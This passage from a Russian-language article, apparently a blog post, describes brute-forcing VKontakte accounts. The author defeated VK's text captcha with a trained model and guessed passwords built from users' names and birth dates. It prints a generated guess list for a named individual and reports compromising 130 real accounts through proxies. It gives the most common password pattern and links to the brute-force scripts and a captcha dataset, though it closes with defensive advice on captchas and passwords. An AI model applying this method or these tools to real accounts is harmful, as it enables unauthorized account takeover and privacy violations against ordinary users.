0maria_Kuznecova
maria_Kuznecova0!
maria_Kuznecova0.
maria_Kuznecova2000
maria_Kuznecova2000!
2000maria_Kuznecova
maria_Kuznecova00
maria_Kuznecova20000201
maria_Kuznecova000201
maria_Kuznecova010200
maria_Kuznecova01022000
maria_Kuznecova0102
01022000maria_Kuznecova
Maria_kuznecova0
0Maria_kuznecova
Maria_kuznecova0!
Maria_kuznecova0.
Maria_kuznecova2000
Maria_kuznecova2000!
2000Maria_kuznecova
Maria_kuznecova00
Maria_kuznecova20000201
Maria_kuznecova000201
Maria_kuznecova010200
Maria_kuznecova01022000
.........
.........

Таким образом были написаны несколько скриптов (все ссылки внизу статьи — она и так уже очень засорена), реализуещих эту идею, и вот их примерные результаты:

  • Скорость перебора достигала 60 паролей в секунду

  • за 12 часов ночной работы на моём домашнем компьютере (интернет=100мбит) с использованием 15 прокси были "намайнены" 130 валидных аккаунтов (и ещё в районе 300 со включенной двухфакторкой). Естественно потом я предупредил их владельцев о том, что их пароль слишком слабый, и удалил все незаконно полученные данные.

  • Примерно у 5% пользователей ВКонтакте указан номер телефона и примерно у 3% из них пароль содержится в наборе из 2000 сгенерированных символов (наиболее популярна комбинация [Nn]ame[bdate][specsymbol] - например, «Пупкин2003», или «masha1!»

Пример работы скрипта в 1 thread'e. На 100 процессах скорость в 100 раз больше :)

Пример работы скрипта в 1 thread'e. На 100 процессах скорость в 100 раз больше :)

И да, я думал насчёт того, чтобы написать в BugBounty, но... Во-первых, у меня уже был негативный опыт, а, во-вторых, о чём писать? О том, что у вас плохая капча? А брутфорс аккаунтов является невполнезаконным, так что я забросил эту идею (меня пару раз с похожим уже посылали).

На последок

Текстовая капча не только не спасает от роботов, но и губит систему, если она является единственной защитой от недобросовестных роботов. Также неожиданностью стало то, что такой IT-гигант, как ВКонтакте, доверяет защиту от брутфорса исключительно своей «мегакапче» (хотя, ради честности, стоит сказать, что она одна из самых сложных, из ранее мне встречавшихся). Также, по моему мнению, стоит ввести более жесткие положения для паролей — хотя бы условие несодержания имени/фамилии и даты рождения (правда 50% паролей пойдут в мусорку, но им туда и дорога😁).

Если у вас есть свой проект, в котором используется текстовая капча, пожалуйста, поймите, что это более НЕ ЯВЛЯЕТСЯ защитой КАК ТАКОВОЙ. Позаботьтесь о безопасности сейчас, а то потом может уже быть слишком поздно.

Ну и, конечно, не используйте никакие публичные данные в своих паролях: сильному паролю — капча, не капча — всё нипочём!

Ссылки на source code:

https://github.com/imartemy1524/AITextCaptcha - Скрипты для обучения модели.

https://github.com/imartemy1524/vk_captcha/tree/main/VkHacker - Скрипты для брута аккаутов.

https://github.com/imartemy1524/vk_captcha - source код библиотеки vk_captcha

https://mega.nz/folder/H4kHDA6b#s2ZHPAnKcfwdgnhSByRGow - архив с 150к капчами ВК.

Отблагодарить автора за статью

Если Вам понравилась эта статья, Вы можете отблагодарить меня за проделанный труд материально по криптоадресам ниже:

BTC: bc1qc37ytj9ygycqhmt7dfeg0re5fekv0te7hk2hks

BCH: bitcoincash:qzffexvr8gw886gnrcfw9xemrhqr8zyg4s3zjvplg3

TRX/USDT|USDC(TRC20): TS6xHd68gi6vP2KauV7g8uhs4yAhmJK6PY

LTC: Li12vQRf2bRfwP1Cg4ZaxrPK9ae36g4ARo

ETH/usdt/usdc(ERC20): 0xD43F9388a0E6607D6D1eB22Dda819e1D40F1949c

Автор:
SuperHackerVk

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js